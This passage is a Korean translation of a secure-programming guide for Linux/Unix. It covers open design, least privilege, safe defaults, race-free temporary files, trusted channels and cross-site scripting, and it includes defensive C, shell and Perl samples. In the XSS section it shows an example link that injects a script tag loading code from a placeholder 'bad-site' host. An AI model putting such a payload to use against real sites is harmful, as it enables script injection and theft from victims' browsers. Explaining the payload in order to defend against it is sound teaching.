• 오픈 설계 (Open design). 보호 메카니즘은 공격자의 무지에 의존하지 않아야 한다. 대신 메카니즘은 패스워드 또는 비밀키와 같은 비교적 소수 (쉽게 변경될 수있는) 아이템의 기밀성에 의존하며 공개적이여야 한다. 오픈 설계는 상세한 공개적 조사를 가능하게 하며 또한 사용자 자신이 사용하고 있는 시스템이 합당함을 깨닫게 할 수 있다. 솔직히 널리 배포되어 있는 시스템에 대해 기밀을 유지하려고 하는 것은 현실적이지 않다; 디컴파일러와 파괴된 하드웨어는 구현시의 어떤 비밀을 재빨리 드러낼 수 있다. Bruce Schneier 은 스마트 엔지니어는 소스 코드가 폭넓은 검토를 받았으며 모든 확인된 문제가 수정되었음을 보장해야 할뿐만 아니라 보안과 관련된 모든 것에 대해 오픈 소스 코드를 요구해야 한다고 주장하고 있다 [Schneier 1999].

• 완벽한 조정 (Complete mediation). 모든 접근 시도가 검사되어야 하는데 메카니즘이 파괴될 수 없도록 이를 위치시켜라. 예를 들어 클라이언트-서버 모델에서 일반적으로 서버는 사용자가 자신의 클라이언트를 구축 또는 수정할 수 있기 때문에 모든 접근 검사를 해야 한다. 이것이 6.2절 뿐만이 아니라 4장 의 요지이다.

• 고장 안전 디폴트 (Fail-safe defaults (예, 허가권 기반 접근 방법). 디폴트는 서비스 부인이어야 하며 보호 체계가 접근이 허가되는 조건을 확인해야 한다. 더욱 자세한 정보를 얻기 위해서는 6.5절 및 6.7절 을 보라.

• 권한 분리 (Separation of privilege). 원칙적으로 객체에 대한 접근은 한가지 이상의 조건에 의존해야 하며 따라서 한가지 보호 시스템을 무너뜨려도 완전한 접근을 할 수 없을 것이다.

• 최소한의 공통 메카니즘 (Least common mechanism). 공유 메카니즘 (예, /tmp 또는 /var/tmp 디렉토리 사용) 의 수와 그 사용을 최소화해라. 공유 객체는 정보 흐름 및 의도되지 않은 상호작용에 대해 잠재적으로 위험한 채널을 제공한다. 더욱 자세한 정보를 얻기 위해서는 6.8절 을 보라.

• 심리학적 수용성/사용의 편리함 (Psychological acceptability/Easy to use). 휴먼 인터페이스는 사용하기 쉽도록 설계되어야 하며 따라서 사용자는 일상적 및 자동적으로 보호 메카니즘을 정확히 사용할 것이다. 보안 메카니즘이 사용자가 보호하려는 목적의 정신적 이미지와 밀접하게 일치된다면 실수는 줄어들 것이다.

보안에 대해 훌륭한 여러가지 다른 설계 원리들은 Peter Neumann's CHATS Principles 에서 얻을 수 있다.

6.2. 인터페이스를 안전하게 해라

인터페이스는 최소한 (가능한 단순한), 정밀한 (단지 필요로 한 기능만을 제공) 및 고려된 (non-bypassable) 것이야 한다. 신뢰는 최소화되어야 한다. 사용자가 볼 수 있는 데이타를 제한하는 것을 고려해라.

애플리케이션 및 데이타 뷰어들이 외부에서 개발된 파일을 표시하기 위해 사용될 수 있으며 따라서 보안적인 sandbox 를 생성하기 위해 필요한 상세한 작업을 할 필요가 없고 의향이 없다면 일반적으로 뷰어들이 프로그램 (스크립트 또는 매크로) 을 받아들이는 것을 허용하지 마라. 가장 위험한 것은 애플리케이션이 적재될 때 및/또는 데이타가 초기에 표시될 때 실행되는 자동 실행 매크로이다; 보안 관점에서 보았을 때 매크로가 무엇을 할 것인지를 극히 강력하게 제어하지 않는다면 발생하길 기다리는 재앙인 것이다. 그리고 예전 경험은 실제 sandbox 를 구현하는 것은 어렵다고 보여왔다.

6.3. 권한을 최소화해라

앞에서 언급했듯이 프로그램이 그 작업을 하는데 필요한 최소한의 권한을 갖는 것은 중요한 일반적인 원리이다 (이는 "최소한의 권한" 이라고 지칭된다). 이런 방식에서 프로그램이 파괴된다하더라고 그 손상은 제한된다. 가장 극단적인 예는 단순히 보안적인 프로그램을 전혀 작성하지 않는 것이다 -이럴 수 있다면 보통 이렇게 해야 한다. 예를 들어 가능하다면 프로그램을 setuid 또는 setgid 프로그램으로 만들지 마라; 그저 일반적인 프로그램을 만들어 이를 실행시키기 전에 관리자가 그 자격으로 로그인하도록 해라.

리눅스와 유닉스에서 프로세스의 권한을 기본적으로 결정하는 것은 프로세스와 관련된 id 셋이다; 각 프로세스는 사용자와 그룹에 대해 실제 (real), 유효 (effective) 및 유보 (saved) id 를 갖고 있다. 리눅스는 또한 파일시스템 uid 와 gid 를 갖는다. 이러한 값을 조작하는 것은 권한을 최소한으로 유지하는데 있어서 결정적인데 이를 최소화하는 몇가지 방법이 있다 (밑부분에 논의된다). 또한 chroot(2) 를 이용해서 프로그램이 볼 수 있는 파일을 최소화할 수 있다. 리눅스와 유닉스에서는 권한을 결정하는 약간의 다른 값들이 있는데 예를 들어 POSIX 능력 (리눅스 2.2 이상 및 몇몇 다른 유닉스 계열 시스템이 이를 지원한다) 이 있다.

Syntax: compartment [options] /full/path/to/program

Options:
   --chroot path    path 로 chroot 한다
   --user user      uid 를 user 의 uid 로 변경한다
   --group group    gid 를 group 의 gid 로 변경한다
   --init program   최우선적으로 이 programe 을 실행시킨다
   --cap capset     capset 이름을 설정한다. 여러번 지정할 수 있다
   --verbose        자세한 정보를 보여준다
   --quiet          syslog 에 기록하지 않는다

  compartment --chroot /home/ftp --cap CAP_NET_BIND_SERVICE anon-ftpd

6.4. Setuid/Setgid 스크립트 생성을 피해라

많은 유닉스 계열 시스템 특히 리눅스는 앞에서 기술한 경쟁 상태를 피하기 위해 스크립트에 설정되어 있는 setuid 와 setgid 비트를 단순히 무시한다. setuid 스크립트의 지원 여부는 유닉스 계열 시스템들마다 다르기 때문에 가능한 새로운 애플리케이션에서는 최우선적으로 피해진다. 특별한 경우로 펄은 setuid 펄 스크립트를 지원하기 위해 특별한 설정을 포함하고 있으며 따라서 정말로 이러한 기능성이 필요하다면 setuid 와 setgid 사용은 가능하다. 자신의 인터프리터에 이러한 기능성을 지원할 필요가 있다면 펄에서 어떻게 하는 지를 조사해라. 그렇지 않은 경우 간단한 접근 방법은 안전한 환경 (환경 변수 제거 및 설정) 을 생성하는 작은 setuid/setgid 실행가능한 스크립트를 "wrap" 한 후 스크립트의 절대 경로를 사용해서 이를 호출하는 것이다. 스크립트가 공격자에 의해 변경될 수 없음을 확인해라. 쉘 스크립팅 언어는 추가적인 문제를 갖고 있으며 실제로 setuid/setgid 로 설정되지 않아야 한다. 더욱 자세한 정보는 9.4절 을 보라.

6.5. 안전하게 설정하고 안전한 디폴트를 사용해라

설정은 현재 보안 문제를 야기하는 가장 중요한 원인으로 고려되고 있다. 따라서 처음 설치를 보안적으로 하여 시스템을 보안적으로 유지한채 재설정이 쉽게 되도록 노력해야 한다.

절대로 설치 루틴이 ``default" 패스워드를 설치하도록 하지 마라. 새로운 "users"를 설치할 필요가 있다면 좋다 - 관리자에게 패스워드를 설정할 시간을 주고 (패스워드가 설정되기 전에 시스템이 보안적으로 유지하면서) 그저 불가능한 패스워드를 갖고 이들을 설치해라. 관리자는 아마도 수백개의 패키지를 설치하고 거의 확실히 패스워드 설정을 잊어버릴 것이다 - 디폴트 패스워드를 생성한다면 관리자는 이를 설정하는 것을 알려고 하지도 않을 것 이다.

프로그램은 관리자가 접근 정책을 설정할 기회를 갖을 때까지 가장 제한적인 접근 정책을 가져야 한다. 시작 설정으로 ``sample" 과 같이 실제 쓸 수 있는 사용자 또는 ``모든 것에 접근을 허용하는" 설정을 생성하지 말기 바란다: 많은 사용자는 그저 ``모든 것을 설치하며" (모든 사용할 수 있는 서비스를 설치하며) 많은 서비스를 설정할 시간은 절대로 내지 않는다. 어떤 경우에는 프로그램이 기존 인증 시스템에 의존함으로써 더욱 관대한 정책이 바람직하다라고 결정할 수 있을 지도 모르는데 예를 들어 ftp 서버는 사용자의 디렉토리로 로그인할 수 있는 사용자는 자신의 파일에 접근할 수 있어야 한다고 결정할 수 있다. 그러나 이러한 가정에 주의해라.

설치 스크립트가 가능한 안전하게 프로그램을 설치하도록 해라. 디폴트로 루트 또는 어떤 다른 시스템 사용자에 의해 소유되는 모든 파일들을 설치하고 이들을 others 에게는 쓸 수없게 만들어라; 이는 루트 아닌 사용자가 바이러스를 설치하는 것을 예방한다. 정말로 이 파일들을 신뢰된 사용자외에는 어느 누구도 읽을 수 없게 만드는 것이 최선이다. 또한 루트 권한이 없는 사용자와 설치자를 완전히 믿지 못하는 관리자가 여전히 프로그램을 사용할 수 있도록 루트 아닌 설치를 허용해라.

설치할 때 반드시 보안에 필요한 모든 가정이 옳은지 검사해라. 몇몇 라이브러리 루틴들은 어떤 플랫폼에서는 안전하지 않다; 이에 대한 논의는 7.1절 를 보라. 애플리케이션이 실행될 플랫폼들을 알고 있다면 플랫폼들의 특정적인 특징을 검사할 필요는 없지만 이러한 경우 반드시 프로그램이 이러한 플랫폼들중의 하나에만 설치되는지를 검사해라. 그렇지 않다면 설치 결과가 보안적인지 아닌지 모르기 때문에 수작업으로 프로그램을 설치해야 한다.

설치후의 설정을 포함하여 가능한 설정이 쉽고 명백하도록 만들어라. 가능한 ``보안적인" 접근 방법을 사용해라 그렇지 않다면 많은 사용자가 위험을 이해함이 없이 비보안적인 접근 방법을 사용할 것이다. 리눅스에서는 사용자가 기존 인프라를 사용하여 그들의 시스템을 쉽게 설정할 수 있도록 linuxconf 와 같은 도구를 이용해라.

설정 언어가 있다면 디폴트는 사용자가 명확하게 접근을 허용할 때까지 이를 거절해야 한다. 관리자가 설정이 무엇을 하는 지를 이해할 수 있도록 예제 설정 파일에 많은 명확한 주석을 포함해라 (있다면).

6.6. 안전하게 초기화값을 적재해라

많은 프로그램들은 그들의 디폴트 설정을 허용하는 초기화 파일을 읽는데 공격자가 어떤 초기화 파일이 사용되는지를 변경할 수 없으며 이 파일을 생성 또는 수정할 수 없도록 보증해야 한다. 프로그램이 편집기 또는 브라우저로써 사용된다면 사용자가 다른 누군가에 의해 제어되는 디렉토리를 볼 수도 있기 때문에 대개 현재 디렉토리를 초기화 관련 정보의 출처로 사용해서는 안된다. 대신 프로그램이 일반적인 사용자 애플리케이션이라면 사용자의 홈디렉토리에 포함되어 있는 숨겨진 파일 또는 디렉토리로부터 모든 사용자의 디폴트를 적재해야 한다. 프로그램이 setuid/setgid 인 경우 이를 신뢰되지 않은 (잠재적으로 적의있는) 입력으로 필터링하지 못한다면 사용자에 의해 제어되는 모든 파일을 읽지 마라. 신뢰된 설정 값이 어떤 다른 곳에서 전부 적재되어야 한다 (일반적으로 /etc 내의 파일들로부터).

6.7. 고장 안전

보안적인 프로그램은 오류가 발생하였을 때 그것을 한 부분에 국한시켜 전체 시스템이 완전히 마비되는 것을 방지하고 수행을 계속할 수 있도록 설계되어야 한다, 즉 프로그램이 실패하더라도 가장 안전한 결과가 나올 수 있도록 설계되어야 한다. 보안이 결정적인 프로그램의 경우 이는 어떤 종류의 오작동이 탐지된다면 ("can't get here" 상태에 도달하는 기형의 입력 등) 프로그램이 즉각적으로 서비스를 거절하고 그 요청 처리를 중지해야 한다. 사용자가 무엇을 원했는지 이해하려고 하지 마라; 그저 서비스를 거절해라. 때때로 이는 사용자 관점에서 신뢰성 또는 사용성을 감소시키지만 보안은 증가시킨다. 이것이 바람직하지 않은 약간의 경우도 있지만 (예, 서비스 부인이 기밀성 또는 무결성 손실보다 더욱 나쁜 경우가 있다) 거의 드문 경우이다.

저자가 ``전체적으로 실패해라" 가 아닌 ``요청 처리를 중지하라"는 것에 주목해라. 특히 대부분의 서버는 기형의 입력을 받을 때 완전히 멈춰서는 안되는데 이런 경우 서비스 부인 공격 (공격자가 서비스 사용을 방해하기 위해 그저 가비지 비트를 보낸다) 에 대한 사소한 기회를 제공하기 때문이다. 때때로 전체 서버를 다운시키는 것이 필요한데 특히 "can't get here" 상태에 이르는 것은 계속하는 것이 어리석을 만큼 격렬한 문제임을 알리는 것일 수도 있다.

실패가 탐지될 때 어떤 에러 메시지를 보여줄지를 주의깊게 고려해라. 아무것도 보여주지 못한다면 문제를 진단하는 것은 어렵지만 너무 많은 정보를 보여준다면 무심결에 공격자를 도울 수 있다. 보통 최선의 접근 방법은 "접근 거절 (access denied)" 또는 "기타 에러 생성 (miscellaneous error encountered)" 으로 응답한 후 더욱 세부적인 정보를 감사 로그 (누가 정보를 보는 지에 대해 더욱 많은 제어를 할 수 있다) 에 기록하는 것이다.

6.8. 경쟁 상태를 피해라

``경쟁 상태 (race condition)" 는 "이벤트들의 상대적인 타이밍에 대한 돌발적인 임계 의존성때문에 발생하는 이상한 동작" 으로 정의될 수 있다 [FOLDOC]. 경쟁 상태는 일반적으로 파일 또는 변수와 같은 공유 자원을 접근하는 하나 또는 그 이상의 프로세스를 포함하는데 이러한 다중 접근이 적절히 제어되지 않는 것이다.

일반적으로 프로세스는 원자적으로 (atomically) 실행되지 않는데 다른 프로세스가 본래 어떤 두 명령 사이에서 이를 인터럽트할 수도 있다. 보안적인 프로그램의 프로세스가 이러한 인터럽션에 대비하지 않았다면 다른 프로세스가 이 프로세스를 방해할 수도 있다. 다른 프로세스의 임의의 코드가 두 연산 사이에 실행된다 하더라도 모든 연산쌍이 실패해서는 안된다.

경쟁 상태 문제는 개념적으로 다음의 두 범주로 분류할 수 있다:

• 신뢰되지 않은 프로세스에 의한 간섭. 어떤 보안 분류법은 이 문제를 ``시퀀스 (sequence)" 또는 "비원자적 (non-atomic)" 상태라고 부른다. 이는 다른 여러가지 프로그램들을 실행하고 있는 프로세스들에 의해 야기되는 상태로 보안적인 프로그램의 단계들 사이에 다른 동작을 몰래 넣는 것으로 이러한 다른 프로그램들은 문제를 야기하려는 공격자에 의해 호출될 수도 있다. 이 책은 이를 시퀀싱 (sequencing) 문제라고 부를 것이다.

• 신뢰된 프로세스에 의한 간섭 (보안적인 프로그램의 관점에서). 어떤 분류법은 이를 교착 상태 (deadlock), livelock 또는 locking failure 상태라고 부른다. 이는 동일한 프로그램을 실행하고 있는 프로세스들에 의해 야기되는 상태이다. 이러한 다른 프로세스들이 동일한 권한을 가질 수도 있기 때문에 적절히 제어되지 않는다면 다른 프로그램들이 실행될 수 없게끔 서로를 간섭할 수 있다. 때때로 이러한 유형의 간섭이 악용될 수 있다. 이 책은 이를 로킹 (locking) 문제라고 부를 것이다.

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>

void failure(msg) {
 fprintf(stderr, "%s\n", msg);
 exit(1);
}

/*
 * 임시 파일이름에 대한 "패턴"이 주어지면
 * (디렉토리 위치로 시작해 XXXXXX 로 끝나는)
 * 파일을 생성해 이를 반환해라.
 * 이 루틴은 파일을 언링크시키며 따라서 보통 디렉토리 리스팅시
 * 이 파일은 보이지 않을 것이다.
 * 패턴은 최종 파일이름을 보이도록 변경될 것이다.
 */

FILE *create_tempfile(char *temp_filename_pattern)
{
 int temp_fd;
 mode_t old_mode;
 FILE *temp_file;

 old_mode = umask(077);  /* 제한적인 허가권을 갖는 파일을 생성 */
 temp_fd = mkstemp(temp_filename_pattern);
 (void) umask(old_mode);
 if (temp_fd == -1) {
   failure("Couldn't open temporary file");
 }
 if (!(temp_file = fdopen(temp_fd, "w+b"))) {
   failure("Couldn't create temporary file's file descriptor");
 }
 if (unlink(temp_filename_pattern) == -1) {
   failure("Couldn't unlink temporary file");
 }
 return temp_file;
}


/*
 * "태그" (XXXXXX 로 끝나는 상대적 파일 이름) 가 주어지면
 * 태그를 사용해 임시 파일을 생성한다. 환경 변수 TMP 또는
 * TMPDIR 에 정의되어 있고 setuid/setgid 가 아니라면 이 변수에
 * 지정된 디렉토리에 파일이 생성될 것이다.
 * 그렇지 않은 경우는 /tmp 디렉토리에 생성될 것이다.
 * 루트 (및 su 된 루트) 는 TMPDIR or TMP (이 정의되어 있다면)
 *  를 사용할 것임을 주목해라.
 */
FILE *smart_create_tempfile(char *tag)
{
 char *tmpdir = NULL;
 char *pattern;
 FILE *result;

 if ((getuid()==geteuid()) && (getgid()==getegid())) {
   if (! ((tmpdir=getenv("TMPDIR")))) {
     tmpdir=getenv("TMP");
   }
 }
 if (!tmpdir) {tmpdir = "/tmp";}

 pattern = malloc(strlen(tmpdir)+strlen(tag)+2);
 if (!pattern) {
   failure("Could not malloc tempfile pattern");
 }
 strcpy(pattern, tmpdir);
 strcat(pattern, "/");
 strcat(pattern, tag);
 result = create_tempfile(pattern);
 free(pattern);
 return result;
}



main() {
 int c;
 FILE *demo_temp_file1;
 FILE *demo_temp_file2;
 char demo_temp_filename1[] = "/tmp/demoXXXXXX";
 char demo_temp_filename2[] = "second-demoXXXXXX";

 demo_temp_file1 = create_tempfile(demo_temp_filename1);
 demo_temp_file2 = smart_create_tempfile(demo_temp_filename2);
 fprintf(demo_temp_file2, "This is a test.\n");
 printf("Printing temporary file contents:\n");
 rewind(demo_temp_file2);
 while (  (c=fgetc(demo_temp_file2)) != EOF) {
   putchar(c);
 }
 putchar('\n');
 printf("Exiting; you'll notice that there are no temporary files on exit.\n");
}

 char *filename;
 int fd;

 do {
   filename = tempnam (NULL, "foo");
   fd = open (filename, O_CREAT | O_EXCL | O_TRUNC | O_RDWR, 0600);
   free (filename);
 } while (fd == -1);

   echo "This is a test" > /tmp/test$$  # DON'T DO THIS.

 # mktemp(1) 의 간단한 사용예로 스크립트가 안전한 임시 파일을
 # 얻을 수 없다면 종료하는 스크립트이다.

   TMPFILE=`mktemp /tmp/$0.XXXXXX` || exit 1
   echo "program output" >> $TMPFILE

  # 에러를 잡으려고 하는 경우의 간단한 예:

   TMPFILE=`mktemp -q /tmp/$0.XXXXXX`
   if [ $? -ne 0 ]; then
      echo "$0: Can't create temp file, exiting..."
      exit 1
   fi

6.9. 단지 신뢰할 수 있는 체널만 신뢰해라

일반적으로 신뢰할 수 있는 채널로부터의 정보 (입력 및 결과) 만을 신뢰해라. 예를 들어 getlogin(3) 및 ttyname(3) 은 지역 사용자에 의해 제어될 수 있는 정보를 반환하는데 따라서 보안 목적에 맞게 이들을 신뢰하지 마라.

대부분의 컴퓨터 네트워크 (및 대개 인터넷의 경우) 에서 인증받지 못한 전송은 신뢰할 수 없다. 예를 들어 인터넷을 통해 전송되는 패킷은 전송중 언제라도 볼 수 있고 수정될 수 있으며 임의의 새로운 패킷이 변조될 수도 있다. 이러한 변조된 패킷은 머신 (IP) 주소 및 포트와 같은 송신자 또한 수진자에 대한 변조된 정보를 포함할 수도 있다. 따라서 이들을 (가령 암호화를 사용해) 인증할 수 없다면 이러한 값들을 보안 결정을 위한 근본적인 기준으로 사용하지 않아야 한다.

이는 특별한 상황을 제외하고는 TCP/IP 에서 사용자 인증을 하는 두 가지 예전 방법이 유일한 인증 기구로 사용될 수 없음을 의미한다. 한 방법은 데이타 패킷내의 ``from" 머신 주소를 검사함으로써 사용자를 ``특정 머신"으로 제한하는 것이다; 다른 방법은 송신자가 ``신뢰된" 포트 넘버 (1024보다 작은 넘버) 를 사용하도록 함으로써 접근을 제한하는 것이다. 문제는 많은 환경에서 공격자가 이러한 값들을 변조할 수 있다는 것이다.

어떤 환경에서는 이러한 값들을 (송신하는 머신 주소 및/또는 포트) 을 검사하는 것이 상당히 유용할 수 있는데 따라서 프로그램에서 옵션으로 그러한 검사를 지원하는 것이 나쁜 개념은 아니다. 예를 들어 시스템이 방화벽뒤에서 작동하고 있고 방화벽이 파괴되거나 우회될 수 없고 방화벽이 내부로부터 왔다고 주장하는 외부 패킷을 막을 수 있다면 내부로부터 왔다고 말하는 모든 패킷은 실제로 내부에서 왔다고 주장할 수 있다. 그러나 패킷이 왔다고 주장하는 머신으로부터 실제로 왔다고 확신할 수는 없음을 주목해라 - 따라서 내부 위협이 아닌 외부 위협에 대처해야 한다. 파괴된 방화벽, 선택적인 경로 및 모바일 코드는 이러한 가정을 더욱 의심하게 한다.

문제는 누군가를 인증하는 방법으로 신뢰할 수 없는 정보를 지원하고 있는 것이다. 신뢰되지 않은 네트워크를 통해 신뢰할 수 있는 채널이 필요하다면 어떤 암호화 서비스가 필요하다 (최소한 암호학적으로 안전한 해시); 암호화 알고리듬과 프로토콜에 대한 더욱 자세한 정보는 10.5절 을 보라. ftp 와 rlogin 과 같은 표준적이지만 본질적으로 비보안적인 프로토콜을 구현하고 있다면 안전한 디폴트를 제공하고 가정들을 명확하게 문서화해라.

DNS (Domain Name Server) 는 컴퓨터 이름과 IP 간의 매핑 (mapping) 을 위해 인터넷에서 널리 사용되고 있다. ``역 (reverse) DNS" 라는 기법은 어떤 간단한 스푸핑 공격을 제거하며 호스트 이름을 결정하는데 있어 유용하다. 그러나 이 기법은 인증 결정을 할만큼 신뢰할 수 있는 것은 아니다. 문제는 결국 DNS 요청이 결과적으로 공격자가 제어할 수도 있는 어떤 원격 시스템으로 보내질 것이라는 것이다. 따라서 DNS 결과를 확인이 필요한 입력으로 처리하고 엄격한 접근 제어를 위해 이를 신뢰하지 마라.

임의의 이메일 (주소의 "from" 값들을 포함해) 도 또한 변조될 수 있다. 디지털 인증서 사용이 이러한 많은 공격을 방해하는 방법인데 더욱 손쉬운 방법은 특별히 임의로 생성된 값을 갖고 이메일이 송수신되야 함을 요구하는 것으로 이는 공개 메일링 리스트에 서명하는 것과 같은 중요하지 않은 트랜잭션에 대해 보통 허용할 수 있다.

CGI 를 포함하여 모든 클라이언트/서버 모델에서 서버는 클라이언트 (또는 클라이언트와 서버사이에서 중재하는 누군가) 가 모든 값을 수정할 수 있다고 가정함을 주목해라. 예를 들어 소위 숨겨진 필드와 쿠키 값은 CGI 프로그램이 받기 전에 클라이언트에 의해 변경될 수 있다. 이들은 특별한 예방 조치를 취하지 않았다면 신뢰될 수 없다. 예를 들어 서버가 서명을 검사하는 한 클라이언트가 변조할 수 없도록 숨겨진 필드가 서명될 수 있을 것이다. 숨겨진 필드는 또한 단지 신뢰된 서버만이 복호화할 수 있도록 키를 사용해서 암호화될 수 있다 (이 방법이 Kerberos 인증 시스템의 기본 개념이다). InfoSec 랩은 히든 필드와 암호화 적용에 대해 더욱 깊은 논의를 하고 있다 http://www.infoseclabs.com/mschff/mschff.htm. 일반적으로 클라이언트/서버 모델에서 관심있는 데이타를 서버쪽에 유지하는 것이 더욱 좋다. 같은 맥락으로 CGI 프로그램에서 인증을 위한 HTTP_REFERER 는 사용자 브라우저 (웹서버가 아닌) 에 의해 보내지기 때문에 이에 의존하지 마라.

이 논의는 다른 데이타를 참조하는 데이타에도 또한 적용된다. 예를 들어 HTML 또는 XML 은 참조에 의해 원격적으로 저장될 수도 있는 다른 파일 (예, DTD 및 스타일시트) 을 포함하도록 한다. 그러나 이러한 외부 참조는 사용자가 의도한 바와 매우 다른 문서를 보도록 수정될 수 있다; 스타일시트가 중요한 위치의 단어들을 여백으로 하고 외양을 흉하게 하거나 새로운 텍스트를 추가하기 위해 수정될 수 있다. 외부 DTD 는 문서의 사용을 방해 (유효성을 깨뜨리는 선언 추가를 통해) 또는 문서에 다른 텍스트를 추가하기 위해 수정될 수 있다 [St. Laurent 2000].

6.10. 신뢰된 경로를 설정해라

신뢰할 수 있는 채널 (6.9절 를 보라) 이 필요한 또다른 이유는 사용자가 사용하려고 의도했던 프로그램 또는 시스템을 실제로 사용하고 있음을 보장하는 것이다.

전통적인 예는 ``가짜 로긴" 프로그램이다. 시스템의 로긴 스크린처럼 보이는 프로그램이 작성된다면 이는 실행된 상태로 남아있을 수 있다. 따라서 사용자가 로그인하려고 할 때 가짜 로긴 프로그램은 추후 사용을 위해 사용자의 패스워드를 알아낼 수 있다.

이 문제에 대한 해결 방법은 ``신뢰된 경로" 이다. 신뢰된 경로는 공격자가 어떤 정보가 전해지고 있는지를 가로채거나 수정할 수 없음을 보장하면서 사용자가 통신하려고 했던 사용자와 통신하고 있다는 확신을 제공한다.

패스워드를 요청하려면 신뢰되는 경로를 설정하려고 해라. 불행히 리눅스와 대부분의 다른 유닉스는 일반 로긴 과정에서조차 신뢰되는 경로를 갖고 있지 않다. 한가지 접근 방법은 윈도우 NT/2000 에서 로깅전에 "control-alt-delete" 키를 사용하는 것과 같이 변조할 수 없는 키를 누르도록 요청하는 것이다; 윈도우에서 일반 프로그램은 이 키를 가로챌 수 없기 때문에 이러한 접근 방법은 신뢰된 경로를 생성한다. 리눅스에도 Secure Attention Key (SAK) 라는 동일한 방법이 있다; ``control-alt-pause" 로 사상되는 것이 추천된다. 불해이 이 문서 작성 시점에는 SAK 는 미완성이고 리눅스 배포판에 의해 잘 지원되지 않고 있다. 신뢰되는 경로를 지역적으로 구현하는 다른 접근 방법은 단지 로그인 프로그램만이 수행할 수 있는 별도의 화면 표시를 제어하는 것이다. 예를 들어 단지 신뢰된 프로그램만이 키보드 light (Num Lock, Caps Lock 및 Scroll Lock 를 나타내는 LED) 를 수정할 수 있다면 로그인 프로그램은 실제 로그인 프로그램이라는 것을 나타내는 구동 패턴을 표시할 수 있다. 불행히 현재 리눅스에서 일반 사용자가 LED 를 변경할 수 있기 때문에 LED 가 신뢰된 경로를 확인하기 위해 사용될 수는 없다.

네트워크화된 애플리케이션, 특히 웹 기반 애플리케이션에 대해 신뢰된 경로를 갖는 것만으로 충분하지 않다고 판명되었다. 웹 브라우저 사용자로 하여금 실제 어떤 장소에 있지만 사실 이때 다른 장소에 있도록 생각하게 하는 공인된 방법들이 있다. 예를 들어 Felten [1997] 은 사용자가 어떤 웹 페이지를 보고 있지만 사실 이때 그들이 보는 모든 웹 페이지가 공격자의 사이트 ( 모든 트래픽을 감시하고 양방향으로 보내지는 모든 데이타를 수정할 수 있다) 로부터 전송되는 것인 ``웹 스푸핑" 을 논의하고 있다. 이는 URL 을 재작성함으로써 가능한데, 재작성된 URL 은 상태 라인, 위치 라인 등에서 모든 가능한 증거를 감추는 다른 기술 (자바스크립트와 같은) 을 사용해 거의 안보이게 만들 수 있다. 더욱 세부적인 사항은 논문을 보라. 이러한 URL 을 감추는 다른 방법은 거의 사용되지 않는 URL 구문을 악용하는 것이다. 예를 들어 ``http://www.ibm.com/stuff@mysite.com'' URL 은 이상한 사용자 이름 ``www.ibm.com/stuff" 를 이용해 ``mysite.com" (어쩌면 악의있는 사이트) 을 보기 위해 요청하는 것이다. URL 이 충분히 길다면 실제 URL 은 표시되지 않을 것이며 따라서 사용자는 악용되고 있음을 알아차리지 못할 것같다. 다른 방법은 ``실제" 사이트와 고의적으로 유사하게 보이는 이름을 갖는 사이트를 만드는 것이다. 이런 모든 경우에 있어 단순히 암호화하는 것은 그다지 유용하지 않다 - 공격자는 보여지는 모든 것을 제어할 수 있으며 동시에 암호화된 데이타에 매우 만족할 수 있다.

이러한 문제를 대처하는 것은 더욱 어렵다; 현재 저자는 웹 사용자를 기만하지 못하도록 하는 어떠한 좋은 해결 방법도 없다. 웹 브라우저 개발자에게 이러한 ``기만" 을 쉽게 식별할 수 있도록 대처하라고 권할 것이다. 사용자가 정확한 사이트에 올바르게 연결하는 것이 중대하다면 사용자로 하여금 위협에 대처할 수 있는 간단한 절차를 사용하도록 해라. 브라우저를 종료시킨 후 재시작하게 하고 웹 주소가 매우 간단하며 일반적으로 철자를 잘못 쓰지 않았는지 확인하도록 해라. 어떤 ``비슷하게" 발음되는 DND 이름을 소유하고 또한 공격자를 찾기 위해 그러한 다른 DNS 이름을 찾고 싶을 수도 있다.

6.11. 내부의 일관성을 검사하는 코드를 사용해라

프로그램은 호출 인수 및 기본적인 상태에 대한 가정이 유효한지 확인하기 위해 검사해야 한다. C 에서 assert(3) 와 같은 매크로가 유용할 수도 있다.

6.12. 스스로 자원을 제한해라

네트워크 데몬에서 과도한 부하를 줄이거나 제한해라. 사용될 자원들을 제한하기 위해 setrlimit(2) 를 사용해서 한계값을 설정해라. 최소한 setrlimit(2) 를 사용해서 ``코어" 파일의 생성을 못하도록 해라. 예를 들어 디폴트로 리눅스는 프로그램이 비정상적으로 종료된 경우 모든 프로그램 메모리를 저장하고 있는 코어 파일을 생성하는데 이 파일이 패스워드 또는 다른 기밀을 다루는 데이타를 포함할 수도 있다.

6.13. 교차 사이트의 악의있는 컨텐트를 예방해라

어떤 보안적인 프로그램은 신뢰되지 않은 사용자 (공격자) 로부터 데이타를 받아 이를 다른 사용자 애플리케이션 (victim) 에 건네준다. 보안적인 프로그램이 victim 을 보호하지 못한다면 victim 의 애플리케이션 (웹 브라우저) 은 victim 에 해를 끼치는 방식으로 그 데이타를 처리할 수도 있다. 이는 특히 HTML 또는 XML 을 사용하는 웹 애플리케이션에 일반적인 문제로 이는 ``cross-site scripting", ``malicious HTML tags" 및 ``malicious content" 등 여러 이름으로 불리고 있다. 이 문제가 스크립트 또는 HTML 에 제한되어 있지 않고 그 기본적인 본질이 교차 사이트적이기 때문에 이 책에서는 이를 ``cross-site malicious content" 로 부를 것이다. 이 문제가 웹 애플리케이션으로만 한정되지 않음을 주목해라 그러나 웹 애플리케이션에 대한 특별한 문제이기 때문에 이 논의의 나머지는 웹 애플리케이션을 강조할 것이다. 때때로 공격자는 victim 으로 하여금 victim 에서 보안적인 프로그램으로 데이타를 보내도록 할 수 있으며 따라서 보안적인 프로그램은 이를 보호해야 한다.

 <A HREF="http://example.com/comment.cgi?mycomment=<SCRIPT
 SRC='http://bad-site/badfile'></SCRIPT>"> Click here</A>

 # 단지 합법적인 문자들만 받아들인다:
 $summary =~ tr/A-Za-z0-9\ \.\://dc;

 sub remove_special_chars {
  local($s) = @_;
  $s =~ s/[\<\>\"\'\%\;\(\)\&\+]//g;
  return $s;
 }
 # Sample use:
 $data = &remove_special_chars($data);

6.14. 데이타 타입에 주의해라

사용된 데이타 타입에 주의해라. 특히 인터페이스에서 사용된 데이타 타입에 주의해야 하는데 예를 들어 "signed" 와 "unsigned" 값들은 C 또는 C++ 과 같은 많은 언어들에서 다르게 처리된다.

7.1. 안전한 라이브러리 루틴만 호출해라

